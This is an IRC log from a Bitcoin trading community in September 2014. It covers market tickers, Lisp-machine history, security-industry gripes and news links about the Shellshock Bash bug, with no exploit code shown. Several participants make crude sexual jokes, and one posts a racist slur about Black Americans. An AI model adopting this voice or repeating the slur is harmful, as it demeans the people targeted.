Show Idle (>14 d.) Chans

← 2014-09-24 | 2014-09-26 →
decimation: the other thing that interested me about the symbolics video was the fact that the machine had a global namespace
assbot: [HAVELOCK] [HASH] 1000 @ 0.00160809 = 1.6081 BTC [+] {5}
ben_vulpes: <asciilifeform> TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... << and how is this different from the making of a computer useful for software development?
ben_vulpes: homegrown low-budget machine shop: tools will refuse to stay in true for any significant period of time.
ben_vulpes: homegrown software hacking thinger: tools make imaginative, creative engineers regret career choices.
ben_vulpes: hardware: risk hands
ben_vulpes: software: risk sanity
ben_vulpes: le travail, c'est le travail
assbot: [HAVELOCK] [PETA] 970 @ 0.000603 = 0.5849 BTC [+]
mircea_popescu: ;;ticker
gribble: Bitstamp BTCUSD ticker | Best bid: 419.51, Best ask: 420.73, Bid-ask spread: 1.22000, Last trade: 419.5, 24 hour volume: 14440.77357130, 24 hour low: 414.05, 24 hour high: 437.16, 24 hour vwap: 426.125415763
mircea_popescu: scam tealeaves
asciilifeform: ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols.
decimation: it is difficult to imagine a symbolics user in the late '80s with his persistent global namespace watch someone using DOS
mircea_popescu: one of the biggest promises of hard ai is the computer that slaps the human upside the head
mircea_popescu: for "coding innovations"
mircea_popescu: ben_vulpes: le travail, c'est le travail << i like how philosophical marriage makes one. socrates had a point.
assbot: Software Does Not Fail
mircea_popescu: "Marketing is hard. We wrote an ebook." fucking shot these idiots already
BingoBoingo: Marketing is easy, make someone angry.
mircea_popescu: wow no way, you lasted a year ?!
decimation: asciilifeform: when Kalman Reti mentioned that the CADR had 'loadable microcode', is he implying that the early stuff (not ivory) had an underlying 'risc' like core?
mircea_popescu: if the archives bother you you can just make a dropdown
asciilifeform: decimation: brad parker has a cadr emulator (and a 'verilog' version of the 74xxx circuits!) on his site, read yourself.
asciilifeform: there can never be a substitute for actually seeing the original.
BingoBoingo: mircea_popescu: Yeah it's been a year. I also tried the dropdown thing, but... I rather like the comprehensive page of its own thing.
asciilifeform: congrats BingoBoingo
decimation found, is reading
decimation: I assume it's the unlambda stuff?
asciilifeform: decimation: yes
mircea_popescu: BingoBoingo the only third option i ever saw that made sense was on pg's site. J F M A M J J A S O N D line under line under line
assbot: Retrocomputing - MIT CADR Lisp Machines
mircea_popescu: it's pretty awesome to look at, but hey.
mircea_popescu: still takes space and loads the page with a lot of html
BingoBoingo: Also most clicked through link today, since... the hashlet.virtual-girfriend people can though has been the woodchipper fanfic
assbot: Harry Potter and the Wonderful Wood Chipper, a harry potter fanfic | FanFiction
BingoBoingo: I might play with the archives again if their quarentine page gets too big...
mircea_popescu: i need an intern.
mircea_popescu: if anyone wants to intern, get in touch.
asciilifeform: intern at what ?
mircea_popescu: at derping online.
asciilifeform: what will the intern learn?
asciilifeform: how to transition from grade 4 to grade 5 derpatronic engineer ?
BingoBoingo: Any particular venues for derping?
mircea_popescu: notrly. interns generally learn how to stop drifting aimlessly around
mircea_popescu: and where the gates to careers are, how they look and how the ywork
asciilifeform: generally learn how to stop drifting aimlessly around << this is particularly funny to me, as i 'knew exactly what to do' before interned as a kid, and then began to doubt...
decimation: "I swear on my magic that I will not put Hermione Granger into the Asplundh in the courtyard," Harry said solemnly, << lolwtf
assbot: Last 1 lines bashed and pending review. ( )
mircea_popescu: asciilifeform exactly. it's how it'd look :)
decimation: lol really the 'chipper' in that case should be labeled 'justice 'system''
assbot: [MPEX] [S.MPOE] 12400 @ 0.00075278 = 9.3345 BTC [-]
BingoBoingo: ;;ticker --market all
gribble: Bitstamp BTCUSD last: 416.63, vol: 14415.25810677 | BTC-E BTCUSD last: 406.483, vol: 6393.85311 | Bitfinex BTCUSD last: 415.94, vol: 14382.35804622 | BTCChina BTCUSD last: 415.03549, vol: 36706.85810000 | Kraken BTCUSD last: 433.15178, vol: 2.14 | Bitcoin-Central BTCUSD last: 421.245, vol: 87.10099999 | Volume-weighted last average: 414.783925988
assbot: [HAVELOCK] [AM1] 108 @ 0.14010034 = 15.1308 BTC [-] {4}
ben_vulpes: what is this point of socrates' re marriage?
mircea_popescu: some guy asks socrates if he should marry. socrates says he should. if it works out he'll be happily married, if it doesn't he'll become a better philosopher.
mircea_popescu: !up Takeshi
mircea_popescu: !up Lycerion
ben_vulpes: <asciilifeform> ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. << ask the maintainers of legacy software how they feel
ben_vulpes: it's not that software doesn't smack the operator, but that the operator smacked is rarely the one who wrote it in the first place.
ben_vulpes: hysteresis
mircea_popescu: now this is a point. decoupled risk and reward => moral hazard
ben_vulpes: reeeeeeally bad feedback loops.
ben_vulpes: anyways, nite.
ben_vulpes: yeah. software hazard.
ben_vulpes: there's something in here about buying others risk
ben_vulpes: but again, it's late.
mircea_popescu: ;;bc,stats
gribble: Current Blocks: 322456 | Current Difficulty: 2.9829733124040417E10 | Next Difficulty At Block: 322559 | Next Difficulty In: 103 blocks | Next Difficulty In About: 14 hours, 42 minutes, and 51 seconds | Next Difficulty Estimate: 34669514327.2 | Estimated Percent Change: 16.22469
Vexual: did cazalla find any feedback loops regarding dcc?
assbot: [MPEX] [S.MPOE] 2401 @ 0.00075256 = 1.8069 BTC [-] {2}
assbot: [HAVELOCK] [RENT] 120 @ 0.0075 = 0.9 BTC [+]
Vexual: did asciilifeform solve paste dilemma?
Vexual: did mircea buy an island?
Vexual: did vulpes mom really turn off his computer?
assbot: Last 3 lines bashed and pending review. ( )
assbot: [MPEX] [S.MPOE] 25522 @ 0.00075426 = 19.2502 BTC [+]
assbot: [HAVELOCK] [AM1] 5 @ 0.14355596 = 0.7178 BTC [+] {3}
mircea_popescu: every man is an island
Vexual: immma ut that in my little popescue journal here
davout: ohai
Vexual: salutations
fluffypony: davout's alive!
xmj: youre alive again too
xmj: fluffypony: for lulz, did you see the couple getting married "on the blockchain" ?
xmj: libertarian friends of mine :3
xmj: somehow the BTC community is very tightly knit, it seems.
mircea_popescu: davout didja survive the honey ?
davout: what do i look like, bacteria?
mircea_popescu: a month of honey is no joke.
davout: we both survived
fluffypony: and you haven't killed each other?
davout: i do have a movie of fanny being attacked by clownfish tho
mircea_popescu: i forget which are the clownfish
mircea_popescu: are they the bisexual ones ?
mircea_popescu: davout oh also, did you put your trip in the blockchain ? so the btc community can be really tight kniggit it seems ?
davout: they're protoandrous i think
davout: they change sex at some point
mircea_popescu: well on that note, ima go change dreams. laters
xmj: fluffypony: i'm bored too often. do you know anyone looking for a sysadmin? :)
fluffypony: not off the top of my head
xmj: I accept BTC payments, too! look i'm modern
xmj: fluffypony: ah well, worth trying ;)
Vexual: is it fortune or adventur that you seek xmj?
Vexual: tats a chicken and egg right thar
assbot: [HAVELOCK] [PETA] 1757 @ 0.00060995 = 1.0717 BTC [+]
Vexual: asia i s still underrepresented in assets
Vexual: wheres the indo guys? and bejing?
Vexual: !up davout_ ttwice
Vexual: you made me ink
Vexual: hi davout
davout: hey
davout: again :-)
Vexual: this is salutations
Vexual: since your not australian or a drunk
Vexual: we can't punch each other about the face and become lifelong friends
Vexual: how about it?
Vexual: you're more than welcome to reserve judgement for a decade
Vexual: or seven
Vexual: regex?
Vexual: :)
assbot: [MPEX] [S.MPOE] 12800 @ 0.00075408 = 9.6522 BTC [-]
assbot: [MPEX] [S.MPOE] 1800 @ 0.00075408 = 1.3573 BTC [-]
assbot: 18-Year-Old Fighting In Afghanistan Has 9/11 Explained To Him By Older Soldier | The Onion - America's Finest News Source
assbot: [MPEX] [S.MPOE] 14350 @ 0.00075408 = 10.821 BTC [-]
assbot: [MPEX] [S.MPOE] 749 @ 0.00075408 = 0.5648 BTC [-]
Vexual: llseen vancleef
Vexual: 23-09-2014 12:10:33  <jurov>   (some call it axe soup)
assbot: Troy Hunt: Everything you need to know about the Shellshock Bash bug
assbot: [MPEX] [S.MPOE] 10504 @ 0.00075302 = 7.9097 BTC [-] {4}
thestringpuller: $depth s.mpoe
empyex: thestringpuller: [S.MPOE] Bids: 8200 @ 0.00075017 7555 @ 0.00075014 14500 @ 0.00074959 4200 @ 0.00074933
empyex: thestringpuller: [S.MPOE] Asks: 18800 @ 0.00075346 15333 @ 0.00075472 14700 @ 0.00075473 9461 @ 0.00075553
jurov: "Creators are *required* to pay rewards to their funders, starting out small, and growing as they grow their brand."
assbot: Bitpieces
jurov: emphasis theirs. dis gon b gud.
ThickAsThieves: ;;later tell TheNewDeal <TheNewDeal> any response on that foia yet? /// since youve been singling me out, I wanna clear up that, while I did email them an inquiry long ago, I did not personally submit a FOIA request. I simply know of a couple netizens that did. You can expect news to spread fast once(if) it happens.
gribble: The operation succeeded.
thestringpuller: everyone uses the same website format these days
ThickAsThieves: wouldnt the net be a better place if all used same standard?
ThickAsThieves is mostly trolling
assbot: [MPEX] [S.MPOE] 9800 @ 0.00075346 = 7.3839 BTC [+]
kakobrekla: o look, 1.271
mats_cd03: i have finally discovered a cheese that i find palatable: pepper jack.
ThickAsThieves: you can do better
mats_cd03: this is a special day.
ThickAsThieves: you dont like extra sharps?
mats_cd03: theres something about most cheese that makes me retch
mats_cd03: i usually have to pair it with meat to even be consumable
mats_cd03: usually beef.
mats_cd03: also spicy food.
ThickAsThieves: oh the EUR is reverting to older versions
ThickAsThieves: soon back to beta
mats_cd03: 23:16:36 <+asciilifeform> mats_cd03: practical-file-system-design << old favourite of mine.<< i am also busy consuming 'principles of program analysis' by nielson and friend.
kakobrekla: old version?
kakobrekla: fuck im slow.
kakobrekla: barely over retard.
mats_cd03: there is something special about morning coffee time after a long hiatus with tea as a substitute
mats_cd03: i... feel so alive.
mats_cd03: !s facebook notes
ThickAsThieves: kako i made a bad joke, not ur fault
assbot: Science Confirms The Bigger The Belly, The Better The Lover / Queerty
jurov: ha!
ThickAsThieves: such lol "So let’s say a guy has sex 100 times annually. If he has a belly, he’s going to spend approximately eight hours — an entire work day — more per year penetrating his lover than if he has a six-pack. That’s a substantial amount of time."
ThickAsThieves: "More belly fat, scientists say, means a man has more estradiol, a female sex hormone that helps to inhibit orgasm."
cazalla: i think i read somewhere before fatties last longer because lower test means they're more inclined to think about the womans pleasure
jurov: !mpif
assbot: F.MPIF Tracker estimated NAV per share: 0.00021650 B (Total: 473.44 B). Delta: -1.08 B. Last trade for F.MPIF on MPEX was at 0.00020614 BTC [-]
mats_cd03: the original study is about premature ejaculation, but the abstract doesnt describe the definition.
mats_cd03: at least, not without a ... $4 rental service.
mats_cd03 curses nature
assbot: [HAVELOCK] [PETA] 1300 @ 0.00058241 = 0.7571 BTC [-] {5}
assbot: GIRLS und PANZER () (Katyusha) [10 hours version] HD - YouTube
ThickAsThieves: so i paid to have Lowes install a garage door on a rental property, 2mos later it finally happens (skipping some headache details) and they dont actually fully install it and they show me a forged report with my signature
ThickAsThieves: like i couldnt recognize my own sig...
mats_cd03: i don't want to paint a broad brush here,
mats_cd03: but every contractor in the world is a miserable, lying thief.
chetty: haha nah thats not a broad brush ....
ThickAsThieves: also Lowes subcontracts tyhe work of course, and then this sub subbed it out again
kakobrekla: lucky it didnt blow your house up... cause you know, these things happen.
ThickAsThieves: the Contest Charges button is broken on my credit card too
ThickAsThieves: fukn kindergarten
mats_cd03: whats the relation between kindergarten and contest charges?
chetty: the workings of current business are running at kindergarten levels?
ThickAsThieves: i'm dealing with children
ThickAsThieves: and now they will be punished
chetty: omg, paypal is safe??? hahahahaha
ThickAsThieves: well they arent leaking titties at least!
mats_cd03: man needs a proper hair style.
ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience
chetty: true, but paypal does stuff like freeze accounts, just because
ThickAsThieves: sure, i'm not here to defend paypal, but i can appreciate the ad
ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc
ThickAsThieves: ApplePay is the droid youre looking for
chetty: must it get any worse before it starts getting better?
ThickAsThieves: since when are people good at being proactive?
mats_cd03: is it a net loss -- scammers accumulating wealth, and the stupid losing theirs?
kakobrekla: mps theory is scammers are unable to accumulate wealth
ThickAsThieves: my theory is everything is a varying degree of scam
rithm: i like it
rithm: ThickAsThieves if you could finish that sentence with "don't try" it would be complete
rithm: maybe... don't try kids
ThickAsThieves: hmm? you lost me
rithm: i could use just a little bit more hopelessness?
ThickAsThieves: it's in season, ur lucky!
assbot: Man has 100 orgasms a day after back injury
rithm: that video is priceless
assbot: [MPEX] [S.MPOE] 5600 @ 0.00075017 = 4.201 BTC [-]
assbot: Ok, shits real. Its in the wild... src:
rithm: that's shellshock in the wild apparently
assbot: ShellShock exploited in the wild: kernel exploit with CnC component | Hacker News
rithm: those who operate public facing embedded type webservers that might call on shell scripts and the like
kakobrekla: < i heard there some panic re this here as 3 bedrooms from ljubljana were discovered on that thing
assbot: NSA Simulator - Watch Live Security Cams!
kakobrekla: ip camera in bedroom, always a good idea.
assbot: NSA Simulator - Watch Live Security Cams!
rithm: ^ super creepy
assbot: Objavljam vse 3 slike spalnic, opozorite prizadete, RT po vai presoji
assbot: Huobi Sends $400k to Wrong User Accounts
bounce: looking at cameras makes you a "hacker" now. what does that these peeps make? they SCRIPTED the looking at security cameras. surely that's EXCEPTIONAL SKILL and so they're not merely HACKERS, they're VERY DANGEROUS UBERHACKERS
ThickAsThieves: someone called them hackers?
kakobrekla: ok so: which animal typed this: <iNanca> cndjkfhuasdy
ThickAsThieves: also, i'm okay with "hacker" meaning someone who can hack shit together to do rare shit
bounce: that nsasimulator site, first paragraph, last sentence
ThickAsThieves: technicality really, he never says the hackers need to hack
ThickAsThieves: only that hackers are the demo that would do it ;)
bounce: since they clearly did it...
ThickAsThieves: i think you need to brace yourself for the broader definition of hacking
ThickAsThieves: it's only going to get looser
bounce: we're already there. "hacker" means "cyberbogeyman" now.
ThickAsThieves: in 20 years, hacking will mean learning or doing anything useful
ThickAsThieves: yo you hacked the english language and can read?!
bounce: it'll be reviled all the same. you can read? therefore you are a hacker. therefore you lose your fourth amendment rights.
mats_cd03: this nonversation about definitions was old twenty years past
mats_cd03: language drifts news at 11
ThickAsThieves: nothing is new, news at bigbangoclock
bounce: tsunamis have happened for aeons. yet we like forewarning and protection. youse a bunch of nimby sayers, mats says. no fighting the inevitable!
bounce: the deeper problem with the terminology is that it no longer means anything useful and so gets used like the smurfs use smurfing. and lo and behold, the computer security is just about as useful.
bounce: s/security/& industry/
chetty: or, the inevitable is the only thing worth fighting
ThickAsThieves: like anything is really secure anyway...
chetty: does security exist in nature?
bounce: that's a really strong argument. fits just about anywhere. "can't have 100% security anywhere, might as well give up".
ThickAsThieves: so touchy today
bounce: and hello ad hominem. noted.
ThickAsThieves: well it's relevant, no? You are behaving the same as what pisses you off. Broadening definitions to suit your degree of being offended.
bounce: I am? show how.
ThickAsThieves: just because i suggets nothing is "really secure" does not mean that I am saying security is a waste of time
bounce: the "anyway" did that pretty much, yeah
ThickAsThieves: says you
bounce: well, who were you talking to then?
mike_c: meet behind the school at noon
ThickAsThieves: i was only pointing out that the illusion of security most people hold is long gone
ThickAsThieves: and then some
ThickAsThieves: in regards to computers/internet
ThickAsThieves: none of my comments on the state of security were meant to comment on how bounce does security or about what bounce thinks about security
ThickAsThieves: i apologize for such a broad stroke if they seemed otherwise
bounce: well, that's the problem innit? people still pay for security (see size of computer security industry) yet are getting none, or at least much less than they should be getting
mats_cd03: i delay the battles i cannot win and fight with haste otherwise
ThickAsThieves: bounce, i cant argue with that
ThickAsThieves: anything "canned" seems to be toxic
bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively
mats_cd03: and on the subject of fighting...
mats_cd03: Sept. 23: ISIL compound strike: first f-22 combat op
assbot: Sept. 23: ISIL compound strike - YouTube
mats_cd03: war porn.
jurov: is anyone willing to pay "we have read the code for you" kind of security?
rithm: probably not tbh
ThickAsThieves: if i were to attempt articulating it, I'd say it's a focus on convenience over robustness, ignorance over understanding, etc
bounce: it's a bit like... well, calling everyone who does anything wrong a "wrongdoer", regardless of the details of the crime. do that consistently and there's no discernible difference between a mass murderer and a petty thief, or even someone telling you you left the keys in the door and don't forget to close up, guv.
jurov: redhat would be in a position to do it..but perhaps their current bezzle makes better $$$
ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely?
bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines
nubbins`: they key is "safely", and you have your answer :)
ThickAsThieves: all it takes is one rogue programmer to plant a shellshock, no?
assbot: Lethal Software Defects: Patriot Missile Failure « Barr Code
jurov: ThickAsThieves huh? they do have people able to read the code. only currently they spew new one instead
assbot: [MPEX] [S.MPOE] 11600 @ 0.00075451 = 8.7523 BTC [+] {2}
ThickAsThieves: so who watches the watchmen?
mats_cd03: the watchermen ofc
ThickAsThieves: the radar detector detector!
bounce: so now you need a radar detector detector detector in your radar detector
ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe?
nubbins`: who you gonna trust to audit it?
ThickAsThieves: tis the topic
nubbins`: surely not a company with employees
ThickAsThieves: i'm looking for an example
nubbins`: one of them could be rogue :0
jurov: you need multiple independent reports
nubbins`: hire pricewaterhousecoopers
ThickAsThieves: is there 1?
jurov: no one will risk their rep over C++ mess
ThickAsThieves: kinda funny tho, some people will say Armory, no, Electrum, no Mycelium, no Core, but none are audited anywhere
jurov: i have a little hope for haskoin, it's nicely done
assbot: dpaste: 08S88J2: Patching #ShellShock in OS X
TomServo: Would an audit even be useful without a specification?
nubbins`: for my mac brethren
ThickAsThieves: like was said earlier, <+mats_cd03> i delay the battles i cannot win and fight with haste otherwise
ThickAsThieves: TomServo, my stance would be that any attempt to see how hard a wallet is would be a start
jurov: wallet isn't so hard
jurov: mining is crux of it
ThickAsThieves: like the guy who made that coin that instamined, and we discovered block reward just resets
ThickAsThieves: wtf else is waiting?
ThickAsThieves: or already being exploited?
ben_vulpes: <ThickAsThieves> i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? << for legacy projects i generally angle for an audit phase.
ben_vulpes: (paid, ofc)
nubbins`: i think i'm going to start only quoting the winkdex for the btc/usd price
nubbins`: just for a lel
ben_vulpes: how else am i to know what i'm getting into?
ThickAsThieves: ben_vulpes and how often does audit result in actual project being started from scratch to suit your team/current tech?
ben_vulpes: rarely
ThickAsThieves: how often do you find holes?
ben_vulpes: 't'ain't a security audit
ThickAsThieves: just assessment
mike_c: security audit is basically impossible.
ben_vulpes: say it again and again
ThickAsThieves: mike_c did you just say what i think you said?
mike_c: probably
jurov: ;;later tell asciilifeform after seeing the lisp machine vid, i remembered there is a contemporary cpu with accessible microcode - transmeta crusoe. only problem i see they worked with torvalds not naggum... but maybe something can be salvaged?
gribble: The operation succeeded.
ThickAsThieves: i suppose it's not a job for auditors, it's a job for hackers
ThickAsThieves: pretty great argument for them really, not that it's a new one
ben_vulpes: <jurov> i have a little hope for haskoin, it's nicely done << last i checked it was just an rpc wrapper, has it grown much?
ben_vulpes sees prodnet and testnet
mike_c: i am a fan of the security bug bounties (if they are sizable). gives hackers a way to do their thing and get paid legally.
jurov: in half a day i made it actually talk to altcoind (altcoiners, watch your .altcoin/debug.log ;) )
assbot: [MPEX] [S.MPOE] 5017 @ 0.00075473 = 3.7865 BTC [+]
jurov: i plan to try building full node, with atc the blockchain fits in memory
ben_vulpes: just need moar memory for btc :P
kakobrekla: how about btc testnet?
assbot: Researcher shows that black holes do not exist
ben_vulpes: ThickAsThieves: honestly it's a play to get some time to read the code and fuck around with tests before clients start asking for features.
lobbes: 'The paper, which was recently submitted to ArXiv, an online repository of physics papers that is not peer-reviewed' << hmm
ben_vulpes: there's this impossible-to-circumvent 60-hr onboarding window with new devs on old projects.
jurov: i like atc more, playing with real stuff
mike_c: ^ paging pankkake
kakobrekla: music to mps ears.
jurov: also, satoshi 0.9.x is incredibly paranoid, once you send malformed message it blocks you for several hours
jurov: atc is more slutty
kakobrekla: tat a pimp nao
bounce: oh dear. no black holes. no singularity. then what of the technological singularity?
mats_cd03: man does an explosive cartwheel
nubbins`: this black hold article sucks
nubbins`: they say black holes don't exist, but offer no explanation for what the things we've been calling black holes are
nubbins`: *hole
lobbes: and the paper wasn't even peer reviewed
bounce: not yet anyway
nubbins`: i'm going to submit a paper about how submarine sandwiches don't exist
mats_cd03: >> 1st Armored. give it a month before the dudes in kuwait make their way over. so much for leaving iraq...
assbot: Army chief: Division headquarters will deploy soon to Iraq | Army Times |
nubbins`: they can't form, the flour from the bread would get mixed in with the maynnaise
bounce: ``However, in her new work, Mersini-Houghton shows that by giving off this radiation, the star also sheds mass.'' -- so hawking radiation means you're looking at an imploding and evaporating ex-star
nubbins`: mats_cd03 dat perpetual war
bounce: also, I'll peer review your paper in return for a couple subs
nubbins`: bounce: like courtney love?
mats_cd03: better than fighting american negroids i guess
nubbins`: tat that's a pretty fancy car to be crashing into a rock face
mats_cd03: dafuq is that link
ThickAsThieves: it's the mangirl that ran ciphermine
ThickAsThieves: and cipherbond
ThickAsThieves: is it really a fancy car? looks like a toy
nubbins` shrugs
nubbins`: weird shape, gotta be fancy
nubbins`: probably just a celica w/ a body kit or something
nubbins`: actually, is that an audio logo on the front wheel?
assbot: [0/12] HODL silkscreened t-shirts
ThickAsThieves: being born on major US holidays is not allowed
kakobrekla: 'hlod' is better.
mike_c: hilarious, but i'm with BingoBoingo on BTC tshirts
mats_cd03: protip - avoid us hospitals in july. new doctors are rotated in during that period.
nubbins`: protip: avoid US hospitals
kakobrekla: protip: avoid
nubbins`: protip:
mats_cd03: also, if you are poor or need superior treatment in a pinch, go to a va or teaching hospital.
nubbins`: calc 0.084457/[ticker --last]
asciilifeform: jurov: afaik transmeta microcode magic wasn't actually published. possibly (anyone who knows the truth - correct if wrong) - because it was not actually suited for anything but x86.
nubbins`: ;;calc 0.084457*[ticker --last]
gribble: 34.91030095
nubbins`: ;;remove 21497
gribble: Order 21497 removed.
nubbins`: ;;remove 21499
gribble: Order 21499 removed.
nubbins`: ;;view 21502
gribble: #21502 Thu Sep 25 00:54:36 2014 nubbins` SELL 1.0 100% Organic Cotton HODL t-shirt @ 0.084742 BTC (
nubbins`: there we go
The20YearIRCloud: What's hodl?
mats_cd03: redditard meme, i think
nubbins`: it's what you do instead of selling
nubbins`: mats_cd03 pretty much
assbot: I AM HODLING
assbot: [MPEX] [S.MPOE] 10155 @ 0.00075014 = 7.6177 BTC [-] {2}
The20YearIRCloud: the joys of people making money off of memes
nubbins` nods slowly
nubbins`: people want the familiar
nubbins`: they're like birds, new things are scary
asciilifeform: bounce: people still pay for security (see size of computer security industry) yet are getting none << obligatory >>
assbot: Loper OS » Don’t Blame the Mice.
assbot: [HAVELOCK] [PETA] [PAID] 4.17445644 BTC to 1`149`988 shares, 363 satoshi per share
assbot: [HAVELOCK] [AM1] 5 @ 0.14479999 = 0.724 BTC [+] {2}
assbot: [HAVELOCK] [AM1] 5 @ 0.14499998 = 0.725 BTC [+] {2}
assbot: [MPEX] [S.MPOE] 7150 @ 0.00075473 = 5.3963 BTC [+]
mircea_popescu: ;;ticker
gribble: Bitstamp BTCUSD ticker | Best bid: 410.94, Best ask: 411.39, Bid-ask spread: 0.45000, Last trade: 411.4, 24 hour volume: 15061.17519887, 24 hour low: 400.0, 24 hour high: 433.0, 24 hour vwap: 415.60067359
nubbins`: "but paypal" etc
ThickAsThieves: give it a couple weeks
mats_cd03: i am rooting for 200 before xmas
mircea_popescu: 200 srsly ?
ThickAsThieves: not happening
assbot: Last 3 lines bashed and pending review. ( )
nubbins`: !b 3
mircea_popescu: if you're going there why not root for fiddy cent sdirectly.
nubbins`: for future reference
mats_cd03: that works for me too
nubbins`: where in the fuck did i put my soldering iron? srsly.
mircea_popescu: up someone's butt ?
nubbins`: nah i quit gov't work long ago
mircea_popescu: well you did say "in the fuck"...
nubbins`: be creative!
assbot: Last 2 lines bashed and pending review. ( )
mircea_popescu: now THAT
mircea_popescu: 'll make you look bad tat :D
nubbins`: gotta be quick if you wanna !b
ThickAsThieves: the jig is up
nubbins`: gotta !b quick
mircea_popescu: you know that's what the tits command should be. !jig
ben_vulpes: urethrathermal cryptanalysis
mircea_popescu: jurov: emphasis theirs. dis gon b gud. <<< in that particular way...
ThickAsThieves: do we even haz tits anymoar?
ThickAsThieves: what was the command?
ben_vulpes: ThickAsThieves: jezz is around, and ozbot responds in pm, but it's not in chan.
Duffer1: .bait
ben_vulpes: !bait
ben_vulpes: ah yeah
Duffer1: assbot hates our freedom
mircea_popescu: kakobrekla: o look, 1.271 << totally picked the wrong time to close down teh fund
ThickAsThieves: short everything
mircea_popescu: kakobrekla: barely over retard. <<< nah you're just too young to have a clear memory of the 90s :D
ThickAsThieves: interesting that throw this downturn, NMC has actually been the least affected
ThickAsThieves: through*
ThickAsThieves: nmc/btc i mean
mircea_popescu: ThickAsThieves: like i couldnt recognize my own sig... << the hand signature thing in the us is nuts by now.
ThickAsThieves: i was thinkin, why didnt they just scan forge it, cmon now
assbot: Amazon forced to reboot EC2 to patch Xen bug - Storage - News -
mircea_popescu: mats_cd03: but every contractor in the world is a miserable, lying thief. << because you pay upfront.
asciilifeform: likely, some bozo found (and used) a xen 'vm escape.'
mircea_popescu: i only pay on reception, and if acceptable. never had anything but the loveliest most serviceable contractors.
mircea_popescu: and if you can't find people who work like that, you're not in a good country to do business, quit the bezzlathron and move.
ben_vulpes: ThickAsThieves: doge is up
ThickAsThieves: to no good
mats_cd03: i can't afford to flee. i have yet to bump four digit vidya game coins.
assbot: [HAVELOCK] [B.MINE] [PAID] 1.27252613 BTC to 15`097 shares, 8429 satoshi per share
ThickAsThieves: you need 1000btc to move now?
ThickAsThieves: oh you mean $1000btc
asciilifeform speaks for self
ThickAsThieves: ascii theyll never let you leave
mats_cd03: yes for the first, no for the second. 1000btc is my goalpost.
ThickAsThieves: russian cryptographer caught fleeing country
asciilifeform: ThickAsThieves: at present, the door opens when i open it. just end up having to go back inside to eat.
mircea_popescu: mats_cd03 owning like 1% of 1% of the world's currency ain't the worst fate.
ThickAsThieves: particularly when you consider how few will ever hold that many
mircea_popescu: ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience <<< this. it's probably the real point of facebook.
mircea_popescu: "pay us money, you get a facemorph of all the people in your demo."
ThickAsThieves: currently about 1500 wallets with 1000+btc
ThickAsThieves: so maybe another 500 that split theirs up
ThickAsThieves: or -500 for multiple wallets being the same owner
mats_cd03: my principle concern is getting to 1000btc. i don't know if it can be done, at the current rate of career progression... i need a better job.
ThickAsThieves: yeah i think this year's lows may never be seen again
asciilifeform: ThickAsThieves: they'll easily be seen again when another wretch, like dpr, is captured and sat upon an anthill until he coughs up private key
asciilifeform: and then buterin's waterfall, again.
ThickAsThieves: cept the floor keeps rising
mike_c: perhaps not. we didn't see double digits (yet) this year
ThickAsThieves: maybe if mp loses La Guerra Serenísima, or Satoshi needs some cash
mircea_popescu: asciilifeform this time they won't say.
mircea_popescu: they didn't understand there's a mp. it hurt. won't repeat mistakes next time.
asciilifeform still doesn't grasp why 'they said' last time.
mircea_popescu: idiots in charge.
mircea_popescu: anyone thinks they can do anything. all vanity, no humility, as if the latter's the sin and the former the virtue.
ThickAsThieves: tis bliss
ThickAsThieves: so bfl raid was real
nubbins`: so apparently they found a backdoor in the shellshock patch on github, hey?
nubbins`: lel jk
ThickAsThieves: every good backdoor has a backdoor
asciilifeform: called 'front door'
ThickAsThieves: funny they never call it that in sexual context
nubbins`: front-bum
nubbins`: back that front-bum up, etc
assbot: Argentina uses drones to root out wealthy tax evaders - Telegraph
ThickAsThieves: top door
mircea_popescu: argentina has taxes ?!
kakobrekla: also chump-choppas
mircea_popescu: either someone on the ground here pulled a practical joke at the "media" expense, or else us folk running off to argentina is becoming a problem for the minitruth
assbot: Gear Love Will Inc. and BitPay at Georgia Tech
rithm: The Love Will team presented students with information about Bitcoin transactions, mobile hot wallets, and rolled out their new ‘Jacket Wallet’, a customized Pheeva hot wallet, specifically for Georgia Tech students and faculty, available on android and in the app store soon. The team plans to create this type of customized wallet at every university that begins to accept Bitcoin on campus.
rithm: i've been thinking bitpay's bowl gam sponsorship was a play to get bitcoin in ncaaa stadiums
rithm: now you got alumni doing the mit thing
rithm: the bitcoin society is most likely fraternal too if I had to bet
rithm: some type of judeo christian ritual involved
rithm: but now i sound like atlas
ThickAsThieves: ;;estimate
gribble: Next difficulty estimate | 34531182382.2 based on data since last change | 33722683398.9 based on data for last three days
bounce: waiting for the wealthy to hit back with an automated drone catcher to shoot the things out of the air
asciilifeform: argentina drones, unregistered real estate << and none of this happened with ordinary piloted airplanes ?
asciilifeform: it is really a unique sort of retardation when people pretend like airplane was just invented now.
kakobrekla: mebbe its more fear of machines than taxes
kakobrekla: but combine the both and you get a selling sensation
bounce: of course they /could/ have done all that with ordinary planes, except rules. there's no rules for this yet, so some enterprising clerk or other can just order renting such a thing out of the petty cash.
chetty: you need an airplane to discover a house?
bounce: dunno. if it's large enough plots with lots of trees, maybe.
kakobrekla: prolly cheaper and perhaps safer?
kakobrekla: crashing plane vs crashing drone
Naphex: woot, so bash env backdoor, who would've tought :o
Naphex: people running CGI must be blowing their minds right now
jurov: ;;titlasers should be a thing
gribble: Error: "titlasers" is not a valid command.
asciilifeform: ;;later tell ben_vulpes puzzle, because am n00b: << why does parting tool produce a spiral finish? and what determines the geometry of the spiral?
assbot: Why? - Imgur
gribble: The operation succeeded.
nubbins`: the bigger question is why you airbrushed your fingertips
asciilifeform: wanted to see if anyone would notice.
nubbins`: "those tippies are unusually smooth", i said to myself
asciilifeform: (fingers were already published, for anyone who needs my fingertips to unlock a nuke or whatever)
Naphex: !s inurl:cgi-bin
mike_c: inurl is optimistic.
